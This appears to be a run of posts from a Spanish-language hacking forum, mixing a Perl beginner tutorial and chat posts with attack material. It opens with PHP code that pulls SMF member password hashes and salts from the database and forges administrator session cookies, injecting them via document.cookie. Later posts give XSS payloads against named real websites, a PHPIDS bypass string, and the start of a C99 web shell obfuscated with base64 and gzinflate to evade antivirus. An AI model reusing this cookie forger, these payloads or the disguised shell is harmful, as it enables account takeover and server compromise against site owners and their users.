    <tr>
      <td>
      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
        <tbody>
          <tr>
            <td>"
;rk_msg_multicolor("cookiename:"$rk_f1);echo"&nbsp;</td>
            <td><input name=\"cookiename\" type=\"text\" value=\"
$rk_cookiename\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("ID_MEMBER:"$rk_f2);echo"&nbsp;</td>
            <td><input name=\"ID_MEMBER\" type=\"text\" value=\"
$rk_id_MEMBER\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("Passwd (HASH):"$rk_f3);echo"&nbsp;</td>
            <td><input name=\"passwd\" type=\"text\" value=\"
$rk_passwd\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("passwordSalt:"$rk_f4);echo"&nbsp;</td>
            <td><input name=\"passwordSalt\" type=\"text\" value=\"
$rk_passwordSalt\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("ID_GROUP:"$rk_f5);echo"&nbsp;</td>
            <td><input name=\"ID_GROUP\" type=\"text\" value=\"
$rk_id_GROUP\"></td>
            <td><input value=\"Generar cookie\" type=\"submit\"></td>
          </tr>
        </tbody>
      </table>
      </td>
    </tr>
  </tbody>
</table>
</form>
<br />
Ingresa los siguientes datos para generar tu cookie."
;
 echo 
$rk_footer;
}

if (
$rk_e == "1") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_4;
 if(
$rk_id_GROUP == "1") {
  
// Administrador
  
rk_consola("Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  echo 
"[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  
rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_id_MEMBER\";i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
 }
 if(
$rk_id_GROUP == "0") {
  
// Usuario
  
rk_consola("Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  echo 
"[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  
rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;i:$rk_id_MEMBER;i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
 }
}
}
}
// ==================================================================================

// SMF ==============================================================================
if($rk_cms == "SMF") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 if(
$rk_username != ""){
  echo 
$rk_comando_3;
 } else {
  echo 
$rk_comando_2;
 }
// Verificando la existencia de SMF -------------------------------------------------
 
rk_consola("Verificando sistema SMF...");
 if (
file_exists($rk_path_smf)) {
  
define("SMF"1);
  include(
$rk_path_smf);
 
rk_consola("Verifici&oacute;n satisfactoria.");
 } else { 
  
rk_error("No existe el sistema CMS en este directorio.");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
  exit(
1);
 }

// Definiendo conexión SQL ---------------------------------------------------------
 
define (SERVER$db_server);
 
define (USER $db_user);
 
define (PASS $db_passwd);
 
define (DB,    $db_name);
// ----------------------------------------------------------------------------------------

// Función de la consulta SQL -------------------------------------------------------
function rk_db_query($rk_sql){
 if (!
$rk_conectar = @mysql_pconnect(SERVERUSERPASS)){
  
rk_error("Error en la conecci&oacute;n.");
  return 
false
 }
 if (!@
mysql_select_db(DB,$rk_conectar) ){
  
rk_error("Error al seleccionar la base de datos.");
  return 
false;
 }
 if (!
$rk_query = @mysql_query($rk_sql,$rk_conectar) ){
  
rk_error("Error al efectuar la busqueda.");
  return 
false
 }
 return 
$rk_query
}

// Verificando ID_MEMBER y memberName ------------------------------------------------
 
$rk_consulta2 "SELECT ID_MEMBER FROM `".$db_prefix."members`";
 if (
$rk_id != "") {
  
$rk_consulta "SELECT * FROM `".$db_prefix."members` WHERE ID_MEMBER = $rk_id";
  
$c_ "1";
 }

 if (
$c_ != "1") {
  if (
$rk_username != "") {
   
$rk_consulta "SELECT * FROM `".$db_prefix."members` WHERE `memberName` LIKE CONVERT(_utf8 '$rk_username' USING latin1) COLLATE latin1_swedish_ci";
  }
 }

// Buscando usuario ------------------------------------------------------------------
 
rk_consola("Conectando...");
 if((
$rk_username == "") and ($rk_id == "")){
  if (
$rk_query rk_db_query($rk_consulta2)){
   
$rk_whk "1";
   while (
$rk_row mysql_fetch_row($rk_query)){
    foreach (
$rk_row as $rk_out)
     
$rk_whk++;
   }
   
$rk_whk_out $rk_whk 1;
   
rk_consola("Conecci&oacute;n satisfactoria.");
  }
  
rk_consola("Numero de usuarios registrados: $rk_whk_out");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_contenido_2;
  echo 
$rk_footer;
  exit(
0); 

 } else {
  if (
$rk_query rk_db_query($rk_consulta)){
   
rk_consola("Conecci&oacute;n satisfactoria.");
   if (
$c_ == "1") {
    
rk_consola("Buscando usuario N&ordm;$rk_id ...");
   } else {
    
rk_consola("Buscando usuario $rk_username...");
   }
   
$rk_whk 1;
   while (
$rk_row mysql_fetch_row($rk_query)){
    foreach (
$rk_row as $rk_out){
     if (
$rk_whk == "1" ){ $rk_idMEMBER_out  $rk_out; }
     if (
$rk_whk == "2" ){ $rk_usernameout  $rk_out; }
     if (
$rk_whk == "5" ){ $rk_idGROUP_out  $rk_out; }
     if (
$rk_whk == "14"){ $rk_passwd_out  $rk_out; }
     if (
$rk_whk == "52"){ $rk_passwordSalt_out $rk_out; }
     
$rk_whk++;
    }
   }
  }
 }

// Aplicando cookie ------------------------------------------------------------------
 
if($rk_idGROUP_out == "1") {
  
// Administrador
  
rk_consola("Usuario encontrado. Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  echo 
"[!] Username: $rk_usernameout<br />\n";
  echo 
"[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd_out<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  echo 
"[!] ID_GROUP: $rk_idGROUP_out (Administrador)</font><br />\n";
  echo 
"<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_idMEMBER_out\";i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  
rk_consola("Cookie aplicada.");
 }
 if(
$rk_idGROUP_out == "0") {
  
// Usuario
  
rk_consola("Usuario encontrado. Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  echo 
"[!] Username: $rk_usernameout<br />\n";
  echo 
"[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd_out<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  echo 
"[!] ID_GROUP: $rk_idGROUP_out (Usuario)</font><br />\n";
  echo 
"<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;i:$rk_idMEMBER_out;i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  
rk_consola("Cookie aplicada.");
 }
 if(
$rk_idGROUP_out == "") {
  
// Ninguno
  
rk_error("Usuario inexistente.<br />\n");
 }
echo 
"<br />$rk_comando_0\n";
echo 
$rk_consola_b;
echo 
$rk_contenido_2;
echo 
$rk_footer;

// ----------------------------------------------------------------------------------
// ==================================================================================

// Wordpress ========================================================================
if($rk_cms == "Wordpress") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_2;
 
rk_error("En construcci&oacute;n.");
 echo 
"<br />$rk_comando_0\n";
 echo 
$rk_consola_b;
 echo 
$rk_footer;
}
// ==================================================================================

?>



Acá les dejo el avance del sistema, si alguien ve alguna falla antes de subirlo porfavor que me lo pueda decir.
todavía no está 100% terminado pero si operativo.
Una copia del código lo dejé acá:
http://foro.jccharry.com/index.php?topic=42.0
donde explico el fin de este archivo.
#394
Que yo sepa Linux y Unix no es GNU y lo que la mayoría usamos es GNU/Linux asi que pienso que al llamarse esa sección "Hacking Linux/Unix" significa que no hay hacking en GNU el cual usamos nosotros. UNIX no es un SistemaOperativo libre, no así GNU que utiliza el kernel de Linux sobre el cual existen sus distritos que todos conocen... ubuntu, ututo, red hat, bsd, etc etc.

Yo opino que esa sección devería llamarse "Hacking GNU-Unix/Linux" o "Hacking Linux/GNU/Unix"de esta forma también abarcamos los kernels que no son linux... es mas... ni si quiera devería llamarse Linux ya que con nombrar ambos Sistemas Operativos ya lo abarcamos. ¿Que tal "Hacking GNU -Unix" ??

Bién decía Richard Stallman "GNU (GNU No es Unix)"
#395
PHP / PHPIDS no me filtra una petición
8 Noviembre 2007, 02:53 AM
Estaba instalando phpids en una prueba en mi localhost para implementarlo en joomla y va todo bién exepto por este script que no me lo filtra:

http://127.0.0.1/joomla/phpids/docs/examples/example.php?test='" onload();
CitarNo attack detected - click for an example attack

Si pongo una comilla simple o doble si me lo filtra pero al poner eso completo no.
De todas formas un ataque de tipo <input type="text" name="mail" value="" > donde en una petición GET se rellene ese input puede provocar un XSS.

Todo está configurado por defecto. Hice algo mal? o hay que avisar?
#396
Scripting / Tutorial Perl desde cero
7 Noviembre 2007, 04:15 AM
Como veo que no hay mucho material de Perl acá y si varios interesados... les dejo un tutorial que acabo de hacer... otro dia termino la segunda parte.

Programación en Perl I

Al igual que ustedes yo también aprendo por lo cual quiero compartir lo que yo se con ustedes para que todos juntos podamos aprender cada ves mas.

Perl es un lenguaje scripting interpretado, eso significa que necesitamos un software que leerá nuestros scripts y los ejecutará.
Les demostraré que tan facil puede ser aprender este lenguaje tan flexible, útil y facil de aprender.
Este tutorial va dedicado a usuarios de Linux en todas sus distribuciones ya que por defecto viene el software que ejecutará nuestros scripts llamado "Perl", en el caso de Windows tendrás que instalar "Active Perl" y "Cygwin" para acomodar cada función de linux y hacer mas poderosos nuestros scripts.

Mi primer script
Abrimos nuestro editor de texto (en Linux podemos usar gedit, kwrite o lo que sea... en Windows usaremos el block de notas) y comenzaremos a crear nuestro primer script:

Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test.pl

print "hola\n";
exit(0);


¿Que significa cada linea, como lo ejecutamos y que hace?
Cada linea que comienza con el carácter "#" será omitido al momento de ejecutarse el script, esto significa que son comentarios o cualquier cosa que quieras escribirle, esto no se ejecutará ni será tomado en cuenta.
En el caso de linux esto significa que es un código en perl e indica la dirección de perl, esto siempre Debes ponerlo al rpincipio, si no lo pones no pasa nada pero si se hace por costumbre para identificar que es un script en perl. Al pasar el mouse sobre el archivo este tomará el ícono de ejecutable devido a esa primera linea y será cosiderado un "script en Perl".
Código (perl) [Seleccionar]
#!/usr/bin/perl -w

Ahora pongo un comentario para indicar el nombre del archivo (esto no es obligación pero yo lo puse para mayor orden).
Código (perl) [Seleccionar]
#test1.pl

Ahora ejecutamos un print para escribir en pantalla la palabra hola. Esto puede crearse de muchas maneras según lo necesites, también esribimos "\n" el cual significa que al final de la palabra hola se escribirá el carácter "return" para seguir en la linea de abajo.
Código (perl) [Seleccionar]
print "hola\n";

Esto también podemos ejecutarlo de las siguientes maneras:
Código (perl) [Seleccionar]
print "hola";
print("hola");
print 'hola';
print('hola');


Al igual que en el lenguaje C++ puedes utilizar "printf" de la misma manera pero no "echo".

Acá le decimos que es el término del script, puedes no ponerlo pero se hace por costumbre en un buén script. Cuando digo exit(0) significa que no hubo errores, si escribo exit(1) le estoy diciendo al sistema que se produjo un error o los resultados no fueron lo esperado, esto lo puedes utilizar en complementos que veremos en otra oportunidad.
exit(0);

¿Como lo ejecutamos?
Guardaremos nuestro texto en el escritorio como test1.pl y desde la consola de comandos ejecutaremos lo siguiente:
En Linux:  perl ./test.pl
En Windows: c:\perl\perl.exe "%homepath%\escritorio\test.pl"


Nos aparecerá la palabra hola :D
Citaryan@Lola:~/Desktop$ perl ./test.pl
hola
yan@Lola:~/Desktop$

Ahora para practicar escribiremos algunos textos en pantalla:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test2.pl

print "hola,\n";
print "Como puedes ver acá escribio que sea sin problemas y con el carácter '\\n' hago return.\n";
printf "También puedo utilizar printf de la misma manera. Ahora vamos a salir del programa:\n";
exit(0);
print("Como ves esto no se ejecuta porque ya salí :p");



While y for
Estas dos funciones son muy útiles para automatizar todo un proceso:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test3.pl

my $cuenta = 1;

#-------------------------------------------------------------------------------------------------
print "Escribiremos desde 000 hasta 100\n";
for $i ( "000" .. "100" ) {
print "$i\n";
}
#-------------------------------------------------------------------------------------------------
print "Escribiremos 100 más, pero con while:\n";
while ( $cuenta <= 100 ) {
print "$cuenta\n";
$cuenta++;
}
#-------------------------------------------------------------------------------------------------
print "Fijate que si no le pongo comillas no tomará los ceros al comienzo:\n";
for $i ( 000 .. 100 ) {
print "$i\n";
}
#-------------------------------------------------------------------------------------------------
exit(0);


¿Que tal si me escribes en pantalla 100 veces la frase "no molestaré mas a mis compañeros" ? a Vart de los Simpsons de seguro le gustaría jajaja:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test4.pl

for $i ( "000" .. "100" ) {
print "No molestaré mas a mis compañeros.\n";
}
exit(0);


Si te fijas utilizé tres formas diferentes de hacer lo mismo, además con el carácter "#" puse unas lineas para separar cada código y así se vea mas ordenado.

Ustedes dirán... ¿Para que sirve "my $cuenta = 1;"? :

Declaraciones
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test5.pl

my $saludo = "Hola";
my $nombre = "WHK";

print "$saludo $nombre , como estas?";
exit(0);


Esto nos escribirá lo siguiente:
Citaryan@Lola:~/Desktop$ perl ./test5.pl
Hola WHK , como estas?
yan@Lola:~/Desktop$

También podemos crear una declaración de diferentes formas:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test6.pl

my ($saludo, $nombre);
$saludo = "Hola";
$nombre = "WHK";

print "$saludo $nombre , como estas?\n";
exit(0);


Variables
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test7.pl

my ($saludo, $nombre);
unless (@ARGV == 1) { die "uso: $0 Nombre\n" } ($nombre) = @ARGV;
$saludo = "Hola";

print "$saludo $nombre , como estas?\n";
exit(0);

¿Que significa esto?
No se asusten :p es facil, es mas... puedes copiar el código y usar siempre el mismo, solo cambias ciertas cosas que te diré ahora,

Cuando ejecutas tu script te dirá lo siguiente:
Citaryan@Lola:~/Desktop$ perl ./test7.pl
uso: ./test.pl Nombre
yan@Lola:~/Desktop$ perl ./test7.pl WHK
Hola WHK , como estas?
yan@Lola:~/Desktop$

Si te fijas la primera ves que lo ejecuté me decía como utilizarlo... que primero debería ejecutar el script mas un espacio y el nombre, al ejecutarlo nuevamente le di mi nombre y me lo escribió...
Citaryan@Lola:~/Desktop$ perl ./test7.pl Octalh
Hola Octalh , como estas?
yan@Lola:~/Desktop$

Ahora implementemos variables con declaraciones for o while :D, no se asusten con tanta palabrería porque no es  tan dificil cuando escribes por ti mismo el código:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test8.pl

my ($cuenta);
unless (@ARGV == 1) { die "uso: $0 Cuenta\n" } ($cuenta) = @ARGV;

for $i ( 1 .. $cuenta ) {
print "Escribiendo $i...\n";
}

exit(0);


Esto me dará lo siguiente:
Citaryan@Lola:~/Desktop$ perl ./test8.pl 10
Escribiendo 1...
Escribiendo 2...
Escribiendo 3...
Escribiendo 4...
Escribiendo 5...
Escribiendo 6...
Escribiendo 7...
Escribiendo 8...
Escribiendo 9...
Escribiendo 10...
yan@Lola:~/Desktop$

Si quieres agregar mas de una variable tendrás que modificar su código:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test9.pl

my ($cuenta, $palabra);
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

for $i ( 1 .. $cuenta ) {
print "$palabra $i...\n";
}

exit(0);


Esto quiere decir:
Código (perl) [Seleccionar]
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;
Si las variables no son 2 entonces que no ejecute nada y que diga su utilización y si hay dos variables entonces la primera será $palabra y la segunda será $cuenta. Puedes modificar ese orden a tu gusto o agregarles las variables que tu quieras. $0 significa el nombre del mismo archivo que estás ejecutando.

If y Else
Ahora les voy a mostrar algo muy útil:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test10.pl

my ($cuenta, $palabra);
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

if ($cuenta == 0) {
     $cuenta = 10;
}

else {
     for $i ( 1 .. $cuenta ) {
     print "$palabra $i...\n";
     }
}

exit(0);


Esto significa que cuando ejecutes el script primeramente verificará la variable:
Código (perl) [Seleccionar]
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

Luego verificará que si la variable $cuenta es igual a cero entonces le asignará el número 10
Código (perl) [Seleccionar]
if ($cuenta == 0) {
     $cuenta = 10;
}


Si no es igual a cero entonces escribirá en pantalla lo pedido:
Código (perl) [Seleccionar]
else {
     for $i ( 1 .. $cuenta ) {
     print "$palabra $i...\n";
     }
}


Y como siempre al final termina todo:
Código (perl) [Seleccionar]
exit(0);

Ahora utilizaremos if para saber si existen archivos o no:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test11.pl

if (-e "test2.pl") {
print "Si existe\n";
} else {
print "No existe\n";
}

exit(0);


Lo mismo pero con variables:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test12.pl

my ($archivo);
unless (@ARGV == 1) { die "uso: $0 [archivo]\n" } ($archivo) = @ARGV;

if (-e $archivo) {
print "$archivo si existe\n";
} else {
print "$archivo no existe\n";
}

exit(0);


Ahora que ya sabes un poco mas sobre scripts en Perl deverás practicar creando tus propios códigos cada ves más complejos o hasta donde esté tu conocimiento e imaginación.

En el próximo número publicaré un script que estoy creando, como averigüé sobre cada función y muchas otras cosas más como el uso de sockets y uso de comandos system();.

Saludos y hasta la próxima. Att. WHK.
Puedes bajar el documento en formato odt en tar.gz desde acá
#397
Nivel Web / XSS en PortalHacker.net
2 Noviembre 2007, 00:54 AM
Hace tiempo encontré algunos XSS en elhacker.com y .org pero aún no los reparan a pesar del tiempo que llevan y de que fueron publicados y avisados. Ahora portalhacker.net también tiene un XSS localizado en el buscador de la pagina principal.

PoC:
Código (html4strict) [Seleccionar]
<form name="buscarform" action="http://www.portalhacker.net/buscar.php" method="post">
<input name="buscar" type="hidden" value="ok">
<input name="query" type="text" size=12 value="Pon tu XSS acá">
<input type="submit" value="Enviar"></form>

Donde puse "Pon tu XSS acá" prueba con enviar la siguiente petición post: "<script>alert(/xss/);</script>"

Después se quejan del porqué les roban las cookies.
#398
PHP / Letras en imagenes
30 Octubre 2007, 05:21 AM
No se si han hecho esta pregunta o no pero ya busqué en el foro y no vi nada al respecto.

Como puedo escribir letras en una variable en php para que me de de salida un jpg o png con un testo dentro?, por ejemplo: imagen.php?palabra=hola y que aparezca un jpg que diga hola.

Quiero hacer algo como esto  ;D :
#399
Juegos y Consolas / LevelHead
27 Octubre 2007, 23:54 PM
Muy exelente juego para linux donde intentas guiar una persona en miniatura hasta la salida recordando cada pasaje dentro de un cubo real virtualizado desde tu webcam.

Acá les dejo un video impresionante. Realmente es primera ves que veo algo de este tipo.

[youtube=425,350]http://es.youtube.com/watch?v=5ks1u0A8xdU[/youtube]
#400
Nivel Web / XSS en Zone-H
27 Octubre 2007, 16:53 PM
Encontré un XSS en zone-h  :P ...muy curioso no?

http://www.zone-h.org/index.php?searchword=`´';}"></script><script>alert(/xss/);</script>&option=com_search&Itemid=5

Lo puse en xssed haber si lo ven antes que lo reparen y despues les aviso.

Por lo que vi hay muchos otros descubierto por otras personas... ya no me dan ganas de usar joomla jajajja.
#401
Siempre que deseo hacer un software utilizo los Char Keys en forma de números por ejemplo para crear comillas o enviar respuestas encriptadas, etc etc.
Para no hacer una larga lista de caracteres con sus respectivos números hice este sencillo programa. Lo único que hay que hacer es escribir sobre el cuadro de texto y automáticamente aparecerá el respectivo numero.
Ojala también a ustedes les sea de utilidad.



http://whk.yethost.com/archivos/binarios/KCN.rar
#402
Bueno.. se ha creado un concurso para todos los que quieran participar... la idea es crear un video de cualquier duración donde con tus propios conocimientos crees el efecto de espada laser.
El concurso lo abrió Man-In-the-Middle en el siguiente post:
http://foro.elhacker.net/index.php/topic,170144.0.html
Todos los que quieran participar pueden hacerlo.

Video de Man-In-the-Middle
[youtube=425,350]http://www.youtube.com/watch?v=bHa0mPzHGwc[/youtube]

Ojala todos se animen  ;) yo ya estoy creando el mio.
#403
Bueno... hice algunos avatares hace un tiempo y quiero darselos ya que se que a mas de alguno les va a gustar  ;D

En unos dias mas hago otros.
Si quieren alguno en especifico me lo piden... yo los saco del emulador del mame, supernintendo, n64, neo geo, sgenesis, etc etc.. solo pidanme.










Estos y varios mas los puse acá:
http://rapidshare.com/files/39533663/Avatares_propios.rar

Espero que les guste y que les sirvan ;)
#404
Nivel Web / C99 Shell.php cifrado en base 64
21 Junio 2007, 09:17 AM
Conseguí una verción del C99 shell cifrado en su totalidad para no ser descubierto por los antivirus.
Como dice un amigo: Enjoy!

Citar<? eval(gzinflate(base64_decode('
7b3peuJI0jD6+53nmXtQqT3ddhsjwHgrV7mH1cZm
[...]
#405
Bueno... me estoy entreteniendo tanto construyendo este software de msajería instantanea de PC a PC que quiero compartir mis avances con ustedes.

La idea es la tipica de conectar cliente con servidor a traves de tres socks, uno recibe los mensajes cifrados y los otros dos son para enviar y recibir comandos directos sin cifrar.

Este software es un tanto diferente a los demas porque es INSTANTANEO en su totalidad... o sea que escribes una letra e inmediatamente lo lee la otra persona asi que no podras arrepentirte de lo que escribes  :xD.

El cifrado consiste en tomar el numero de caracter ingresado en la caja de texto, multiplicarlo y sumarlo de tal forma que de un resultado y ese resultado se envia al servidort o cliente el cual resta ese total obteniendo el número de caracter descifrandolo nuevamente.

El tercer socks sirve para enviar cada 10 segundos el codigo de cifrado al servidor aleatoriamente para que pueda segir siendo descifrado únicamente por el receptor del mensaje... el que intente descifrarlo se encontrará con un cifrado diferente cada 10 segundos siendo imposible recuperar el mensaje real a menos que intercepte el codigo enviado por el tercer sock.

Ahora mismo estoy intentando cifrar este tercer sock con un código único entre letras y números.

También en un tiempo más implementaré el uso de sockets para registrarlo en la red tor de esta forma hacerlo un poquito mas indetectable  :xD.

Este no es un programa de mensajería profesional pero si te ayudará para poder entender como crear uno sin romperte la cabeza.

Nota: Este proyecto lo llevo desde hace dos dias partiendo desde un cliente y servidor telnet jajaja.

Código fuente del servidor + cliente  incluido en este post .

La proxima volveré con el mensajero un poco mas sofisticado y con una buena visual ya que como se ve está "RAW"





Ustedes diran: "Para que sirve si ya existen mensajeros  :¬¬"
Lo hice por dos razones:

1. Si deseas conversar algo un tanto delicado con un amigo no lo podrán descifrar tan facilmente.

2. El proyecto empezó como un simple minichat pero me entretuve tanto que ahora me dedico un buen tiempo a el desde hace dos dias mas o menos.

Ojala termine de hacerlo compatible con proxyes y socks para poder usarlo con la Red Tor.

Acepto todo tipo de criticas y sugerencias  :P